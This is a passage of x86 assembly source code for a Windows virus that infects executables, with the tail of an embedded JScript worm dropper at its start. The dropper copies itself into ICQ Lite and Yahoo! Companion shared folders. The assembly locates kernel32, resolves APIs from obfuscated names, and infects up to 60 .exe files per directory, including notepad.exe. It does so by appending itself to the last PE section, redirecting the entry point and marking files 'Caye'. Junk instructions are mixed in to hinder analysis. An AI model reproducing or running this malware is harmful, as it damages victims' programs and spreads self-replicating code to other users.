db 'if (fso.folderexists(pdir+"\\icqlite\\shared files\\"))',13,10
db '{',13,10
db 'phile.Copy(pdir+"\\icqlite\\shared files\\"+Rndphiles,true);',13,10
db '}',13,10
db 'if (fso.folderexists(pdir+"\\Yahoo!\\Companion\\Download\\"))',13,10
db '{',13,10
db 'phile.Copy(pdir+"\\Yahoo!\\Companion\\Download\\"+Rndphiles,true);',13,10
db '}',13,10
db 'phile.Delete();',13,10
EndWormDropper:
WormLen equ ( offset EndWormDropper - offset WormDropper )
AlignReg1 dd 0h
ShellExApi db 'ShellExecuteA',0
OTableVA dd 0h
Write dd 0h
OldEIP dd 0h
InfCounter dd 0h
APINames:
dd 'Co'+'py'+'Fi'+'le'+'A'*100h
dd 'Un'+'ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h
dd 'Cl'+'os'+'eH'+'an'+'dl'+'e'*100h
dd 'Fi'+'nd'+'Cl'+'os'+'e'*100h
dd 'Se'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA'
dd 'Ge'+'tW'+'in'+'do'+'ws'+'Di'+'re'+'ct'+'or'+'yA'
dd 'Ge'+'tP'+'ro'+'cA'+'dd'+'re'+'ss'
dd 'Cr'+'ea'+'te'+'Fi'+'le'+'Ma'+'pp'+'in'+'gA'
dd 'Ge'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA'
dd 'Ge'+'tS'+'ys'+'te'+'mD'+'ir'+'ec'+'to'+'ry'+'A'*100h
dd 'Fi'+'nd'+'Fi'+'rs'+'tF'+'il'+'eA'
dd 'Lo'+'ad'+'Li'+'br'+'ar'+'yA'
dd 'Ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h
dd 'Fi'+'nd'+'Ne'+'xt'+'Fi'+'le'+'A'*100h
dd 'Wr'+'it'+'eF'+'il'+'e'*100h
dd 'Cr'+'ea'+'te'+'Fi'+'le'+'A'*100h
Trash1 dd 0h
OldDirectory db 255d dup (0h)
DirectoryBuffer db 255d dup (0h)
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)
filemask db '*.Exe',0
WormFile db 'notepad.exe',0
WormName db 'C:\cayenne.js', 0
MapAddress dd 0h
NewSize dd 0h
OldBase dd 400000h
MapHandle dd 0h
FindHandle dd 0h
APIOffsets:
XCopyFileA dd 0h
XUnmapViewOfFile dd 0h
XCloseHandle dd 0h
XFindClose dd 0h
XSetCurrentDirectoryA dd 0h
XGetWindowsDirectoryA dd 0h
XGetProcAddress dd 0h
XCreateFileMappingA dd 0h
XGetCurrentDirectoryA dd 0h
XGetSystemDirectoryA dd 0h
XFindFirstFileA dd 0h
XLoadLibraryA dd 0h
XMapViewOfFile dd 0h
XFindNextFileA dd 0h
XWriteFile dd 0h
XCreateFileA dd 0h
GetOtherApis:
push ecx
and eax, 34475376d
push edx
push edx
call dword ptr [ebp+XLoadLibraryA]
push eax
pop edx
pop ecx
pop edx
GetOtherApiLoop:
push ecx
shr eax, 26d
push edx
push ecx
push edx
call dword ptr [ebp+XGetProcAddress]
pop ecx
pop edx
mov dword ptr [esi], eax
add esi, 4d
sub ebx, 1
test ebx, ebx
jz GetOtherApiEnd
GetOtherApiLoop2:
inc ecx
cmp byte ptr [ecx], 0
je GetOtherApiLoop2
inc ecx
jmp GetOtherApiLoop
GetOtherApiEnd:
ret
SearchAPI1: ; Procedure to retrieve API Offsets
pushad
; clear the counter
mov word ptr [ebp+counter], 0h
mov edx, ( -1d + 1d )
sub edx, 1d
and edx, dword ptr [ebp+NTableVA]
SearchNextApi1: ; search for the API's
mov dword ptr [ebp+NTableTemp], 0
xor dword ptr [ebp+NTableTemp], edx
; mov eax, -1
mov eax, ( -1d - 25d )
add eax, 25d
and eax, dword ptr [ebp+KernelMZ]
add eax, dword ptr [edx]
mov edx, eax
push edx
pop esi
push esi
mov dword ptr [ebp+TempApisearch3], 0
add dword ptr [ebp+TempApisearch3], ecx
cld
mov eax, dword ptr [ecx]
LoopChsksm:
xor ebx, ebx
mov bl, byte ptr [esi]
inc esi
clc
sal bx,8d
sub eax, ebx
cmp bx, 0
je LoopConti
xor ebx, ebx
mov bl, byte ptr [esi]
sub eax, ebx
sub esi, -1d
cmp bx, 0
jne LoopChsksm
LoopConti:
dec eax
inc eax
jz FoundApi1
ApiNotFound: ; we did not find it :(
pop esi
mov ecx, ( -1d + 35d )
sub ecx, 35d
and ecx, dword ptr [ebp+TempApisearch3]
mov edx, 0
add edx, -1d
and edx, dword ptr [ebp+NTableTemp]
inc edx
add edx, 3d
inc word ptr [ebp+counter]
cmp word ptr [ebp+counter], 2000h
je NotFoundApi1
jmp SearchNextApi1
FoundApi1:
pop ecx
; retrieve the offset
movzx edx, word ptr [ebp+counter]
adc ebx, ecx
shl edx, 1
add edx, dword ptr [ebp+OTableVA]
or eax, ecx
push edx
pop eax
movzx edx, word ptr [eax]
sal edx, 2h
add edx, dword ptr [ebp+ATableVA]
mov eax, dword ptr [edx]
add eax, dword ptr [ebp+KernelMZ]
mov dword ptr [ebp+TempAPI], -1
and dword ptr [ebp+TempAPI], eax
popad
ret
NotFoundApi1:
pop ebx
popad
jmp ExecuteHost
NoKernel:
; store old EIP and ImageBase
push dword ptr [ebp+OldEIP]
pop eax
push eax
pop dword ptr [ebp+retEIP]
mov ebx, ( -1d + 27d )
sub ebx, 27d
and ebx, dword ptr [ebp+OldBase]
mov dword ptr [ebp+retBase], 0
xor dword ptr [ebp+retBase], ebx
adc ecx, edx
ExecuteHost: ; Start the infected File
; check if we are first generation
add ebp, -1
add ebp, 1
jz FirstGenHost
mov ebx,12345678h
org $-4
retBase dd 0h
add ebx,12345678h
org $-4
retEIP dd 0h
jmp ebx
CreateWorm:
; get Current Directory
lea ebx, [ebp+OldDirectory]
xchg ebx, edi
push edi
mov ebx, 0
add ebx, 255d
push ebx
call dword ptr [ebp+XGetCurrentDirectoryA]
push 255d
mov ebx, offset DirectoryBuffer
add ebx, ebp
push ebx
call dword ptr [ebp+XGetWindowsDirectoryA]
lea edx, [ebp+DirectoryBuffer]
xchg ebx, edx
push ebx
call dword ptr [ebp+XSetCurrentDirectoryA]
; check if the file exists and infect
lea eax, [ebp+WormFile]
xchg ecx, eax
call FindFirstFileProc
inc eax
jz NoWorm
call InfectFile
; copy file to new location
push 1
lea edx, [ebp+WormFile2]
xchg edx, ecx
push ecx
lea edi, [ebp+WormFile]
xchg esi, edi
push esi
call dword ptr [ebp+XCopyFileA]
NoWorm: ; restore old directory
lea ebx, [ebp+OldDirectory]
xchg edi, ebx
push edi
call dword ptr [ebp+XSetCurrentDirectoryA]
ret
KernelSearchStart:
mov edi, 0bff70000h
call GetKernel32
jnc GetApis
mov edi, 077e00000h
call GetKernel32
jnc GetApis
mov edi, 077f00000h
call GetKernel32
jnc GetApis
jmp NoKernel
GetKernel32:
pushad
mov ebx, 10344d
sub ebx, 10344d
lea eax, dword ptr [esp-8h]
xchg eax, dword ptr fs:[ebx]
lea ebx, [ebp+GetKernel32Exception]
push ebx
push eax
add edi, 1d
GetKernelLoop:
mov eax, 0
dec edi
sal ebx, 30d
mov ax, word ptr [edi+03ch]
cmp ax,0f800h
je GetKernelLoop
cmp edi, dword ptr [edi+eax+34h]
jnz GetKernelLoop
mov dword ptr [ebp+KernelMZ], -1
and dword ptr [ebp+KernelMZ], edi
mov edx, [edi+3Ch]
add edx, edi
mov [KernelPE+ebp], edx
mov edi, dword ptr [ebp+KernelPE]
; get Export-Table
mov eax, [edi+78h]
add eax, [ebp+KernelMZ]
inc eax
add eax, 27d
; get ATableVA
mov edi, dword ptr [eax]
add edi, [ebp+KernelMZ]
mov dword ptr [ebp+ATableVA], edi
add eax, 4d
; get NTableVA
mov edi, dword ptr [eax]
dec eax
add eax, 5d
and ebx, eax
add edi, [ebp+KernelMZ]
sar ecx, 23d
mov dword ptr [ebp+NTableVA], edi
; get OTableVA
mov edi, dword ptr [eax]
add edi, [ebp+KernelMZ]
mov dword ptr [ebp+OTableVA], edi
and edx, 0
pop dword ptr fs:[edx]
pop ebx
popad
clc
ret
GetKernel32Exception:
mov ecx, 15297d
sub ecx, 15297d
mov eax, dword ptr fs:[ecx]
mov esp, dword ptr [eax]
GetKernel32NotFound:
and eax, 0
pop dword ptr fs:[eax]
pop ebx
popad
stc
ret
InfectEXE: ; infect an exe file
and edx, 0
add edx, dword ptr [ebp+MapAddress]
; retrieve PE - Header
mov ecx, edx
add ecx, [edx+3Ch]
; get File Alignment
mov edx, [ecx+3Ch]
push dword ptr [ebp+WFD_nFileSizeLow]
pop ecx
; calculate new size
add ecx, VirusSize
mov dword ptr [ebp+AlignReg2], 0
add dword ptr [ebp+AlignReg2], edx
mov dword ptr [ebp+AlignReg1], 0
xor dword ptr [ebp+AlignReg1], ecx
call Align
push 0
pop ecx
xor ecx, dword ptr [ebp+AlignReg1]
; unmap file and map it again with new size
push ecx
pop dword ptr [ebp+NewSize]
pushad
Call UnMapFile2
popad
mov dword ptr [ebp+WFD_nFileSizeLow], -1
and dword ptr [ebp+WFD_nFileSizeLow], ecx
call CreateMap
jc NoEXE
mov esi, 22859d
sub esi, 22859d
xor esi, dword ptr [ebp+MapAddress]
; retrieve PE - Header again
mov edi, esi
add edi, dword ptr [esi+3Ch]
adc ecx, edx
; infect by increasing the last section
sub esi, esi
add esi, edi
; get last section
movzx ecx, word ptr [esi+06h]
sub ecx, 1
imul ecx, ecx, 28h
add edi, ecx
inc edi
add edi, 119d
mov edx, dword ptr [esi+74h]
shl edx, 3
add edi, edx
; get old Entrypoint
mov eax, dword ptr [esi+28h]
mov dword ptr [ebp+OldEIP], 0
xor dword ptr [ebp+OldEIP], eax
mov ecx, dword ptr [esi+34h]
push ecx
pop dword ptr [ebp+OldBase]
mov ecx, [edi+10h]
mov edx, ecx
add ecx, [edi+14h]
push ecx
mov eax, edx
add edi, 0Ch
add eax, [edi]
sub edi, 0Ch
mov dword ptr [ebp+NewEIP], -1
and dword ptr [ebp+NewEIP], eax
; save new enty point in file
mov dword ptr [esi+28h], 0
add dword ptr [esi+28h], eax
sbb ebx, 21d
mov eax, 0
add eax, [edi+10h]
push eax
; calculate new section size
push dword ptr [esi+3Ch]
add eax, VirusSize
pop dword ptr [ebp+AlignReg2]
mov dword ptr [ebp+AlignReg1], 0
add dword ptr [ebp+AlignReg1], eax
call Align
push -1d
pop eax
and eax, dword ptr [ebp+AlignReg1]
mov dword ptr [edi+10h], eax
pop eax
add eax, VirusSize
mov dword ptr [edi+08h], eax
mov eax, dword ptr [edi+0Ch]
add eax, dword ptr [edi+10h]
mov dword ptr [esi+50h], 0h
add dword ptr [esi+50h], eax
; set write, read and code flag
or dword ptr [edi+24h], 0A0000020h
; set infection mark
mov dword ptr [esi+4Ch], 'Caye'
; Append Virus
pop edi
lea ecx, [ebp+Virus]
xchg ecx, esi
mov ebx, VirusSize
add edi, dword ptr [ebp+MapAddress]
AppendLoop:
movsb
dec ebx
jnz AppendLoop
; decrease Infection Counter
mov eax, ( -1d + 24d )
sub eax, 24d
and eax, dword ptr [ebp+InfCounter]
add eax, -1
push eax
xor ebx, 72855351d
pop dword ptr [ebp+InfCounter]
clc
ret
NoEXE:
stc
ret
InfectCurDir: ; Infect the current directory
mov [ebp+InfCounter], 60d
lea ecx, [ebp+filemask]
; Find File to infect
call FindFirstFileProc
inc eax
jz EndInfectCurDir
InfectCurDirFile: ; Infect the file
call InfectFile
; Check Infection Counter
push dword ptr [ebp+InfCounter]
pop edx
or edx, edx
jz EndInfectCurDir
; find more Files
call FindNextFileProc
test eax, eax
jnz InfectCurDirFile
EndInfectCurDir:
; Close the Handle
push dword ptr [ebp+FindHandle]
pop ebx
push ebx
call dword ptr [ebp+XFindClose]
ret
adc ecx, 23658773d
InfectFile: ; Infect a file
; check for minimum filesize
mov eax, 13514d
sub eax, 13514d
xor eax, dword ptr [ebp+WFD_nFileSizeLow]
cmp eax, 20000d
jbe NoInfection
call OpenFile ; open the file
jc NoInfection
; check for EXE File
push 0
pop ebx
add ebx, dword ptr [ebp+MapAddress]
; check for ZM
movzx edx, word ptr [ebx]
xor edx, 'ZM'
jz Goodfile
push 59672d
pop ecx
test ecx, ecx
jnz Notagoodfile
Goodfile:
cmp word ptr [ebx+3Ch], 0h
jne _Notagoodfile
jmp Notagoodfile
_Notagoodfile:
mov eax, 0
add eax, dword ptr [ebx+3Ch]
; check if header lies inside the file
cmp eax, dword ptr [ebp+WFD_nFileSizeLow]
ja Notagoodfile
add eax, ebx
; check for PE Header
; check for EP
movzx edx, word ptr [eax]
xor edx, 'EP'
jz Goodfile2
jmp Notagoodfile
Goodfile2:
; check for previous Infection
cmp dword ptr [eax+4Ch], 'Caye'
jnz yNotagoodfile
jmp Notagoodfile
yNotagoodfile:
call InfectEXE ; Infect the file
jc NoInfection
Notagoodfile:
call UnMapFile
NoInfection:
ret
CryptEnd:
EndVirus:
.code
FakeCode:
push offset VirusCode
ret
FirstGenHost:
mov edx, 0
push edx
call ExitProcess
end FakeCode
| ||||||||||||||||